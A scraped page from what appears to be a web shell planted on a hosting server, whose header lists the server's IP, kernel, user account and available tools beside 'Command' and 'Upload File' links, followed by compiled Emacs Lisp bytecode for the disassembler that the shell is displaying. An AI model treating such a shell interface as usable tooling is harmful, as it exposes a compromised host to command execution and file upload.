Server IP : 111.118.215.189 / Your IP : 3.147.48.123 Web Server : Apache System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : a1673wkz ( 2475) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/emacs/24.3/lisp/emacs-lisp/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
;ELC ;;; Compiled by mockbuild@buildfarm06-new.corp.cloudlinux.com on Fri Oct 11 10:09:00 2024 ;;; from file /builddir/build/BUILD/emacs-24.3/lisp/emacs-lisp/disass.el ;;; in Emacs version 24.3.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. ;;; This file does not contain utf-8 non-ASCII characters, ;;; and so can be loaded in Emacs versions earlier than 23. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301!\210\300\302\303\"\207" [require macroexp byte-compile "bytecomp"] 3) #@3 * (defvar disassemble-column-1-indent 8 (#$ . -650)) #@3 * (defvar disassemble-column-2-indent 10 (#$ . -708)) #@3 * (defvar disassemble-recursive-indent 3 (#$ . -767)) #@274 Print disassembled code for OBJECT in (optional) BUFFER. OBJECT can be a symbol defined as a function, or a function itself (a lambda expression or a compiled-function object). If OBJECT is not already compiled, we compile it, but do not redefine OBJECT if it is a symbol. (defalias 'disassemble #[(object &optional buffer indent interactive-p) ":\203 @\306=\204 \306\307E \204 \310\212\n\204 \204] \fr\311\312!q\210p\313 \210 \307\211\314\211\314\315 \210\316\317!\210+\211\312q\210\320 \n?#\210\321!\210+\202f q\210\320 \307#\210)\307\207" [object indent interactive-p buffer default-directory #1=#:old-dir lambda nil 0 get-buffer-create "*Disassemble*" kill-all-local-variables t erase-buffer run-hooks temp-buffer-setup-hook disassemble-internal internal-temp-output-buffer-show buffer-read-only buffer-file-name buffer-undo-list inhibit-modification-hooks inhibit-read-only #2=#:buf standard-output] 5 (#$ . 828) (list (intern (completing-read "Disassemble function: " obarray 'fboundp t)) nil 0 t)]) (defalias 'disassemble-internal #[(obj indent interactive-p) "\306\211\211\211\f9\203 \f\fK\211\202 \307\f!\203! \310\311\n\"\210\312\f\n\"\211\242\303=\2032 \313\fA\f<\203C \f@\314=\203C \315\306\fE\f<\203S \f@\315=\204S \310\316!\210\f:\203{ \314\f\236\204{ \203o \317\n\203k \320\202l \321\n\"\210\322\f! \203{ \317\323!\210\f:\203\214 \fA\211@\fA\202\235 \324\f!\203\231 \f\325H\202\235 \310\326!\210\327,!\203\317 ,j\210\330\331\204\262 \n\203\266 \332\202\267 \333\203\277 \334\202\300 \333\n\203\313 \330\335\n\"\202\314 \333$c\210\f:\203\337 \f@;\205\343 \f@\202\343 \336\f\313\"\211\203 ;\203\f:\203\365 \fA,j\210\337\340p\"\210\341\342 \"\203 \325\211\224O\343P \342\261\210),j\210\344c\210\345p\"\210\342c\210\f:\203-\346\f\236\2029\fG\347V\2059\346\f\347HD\211&\203|&A@&\f\242\242\346=\203P\fA,j\210\350c\210&\242\314=\203o\342c\210\351&,-\\\"\210\202y\313.\345&p\"\210)\342c\210)\f:\203\223\314\f\236\203\223\351\314\f\236,\"\210\202\260\324\f!\203\242\351\f,\"\210\202\260\352c\210\313.\345\353\f!p\"\210), \205\270\317\333!\207" [args doc name macro obj interactive-p nil subrp error "Can't disassemble #<subr %s>" autoload-do-load t byte-code lambda "not a function" message "Compiling %s's definition..." "Compiling definition..." byte-compile "Done compiling. Disassembling..." byte-code-function-p 0 "Compilation failed" zerop format "byte code%s%s%s:\n" " for" "" " macro" " %s" documentation princ " doc: " string-match "\n" " ..." " args: " prin1 interactive 5 " interactive: " disassemble-1 "Uncompiled body: " macroexp-progn indent disassemble-recursive-indent print-escape-newlines] 8]) #@120 Prints the byte-code call OBJ in the current buffer. OBJ should be a call to BYTE-CODE generated by the byte compiler. (defalias 'disassemble-1 #[(obj indent) "\306\211\n:\203 \nA@\nAA@\202! \307\n!\210\n\310H\n\311H\312\313 !\"\306\211\211\211/0\314\3060012\3150\236\2111\203\\ 1A2T\2112\240\21010>A0\202<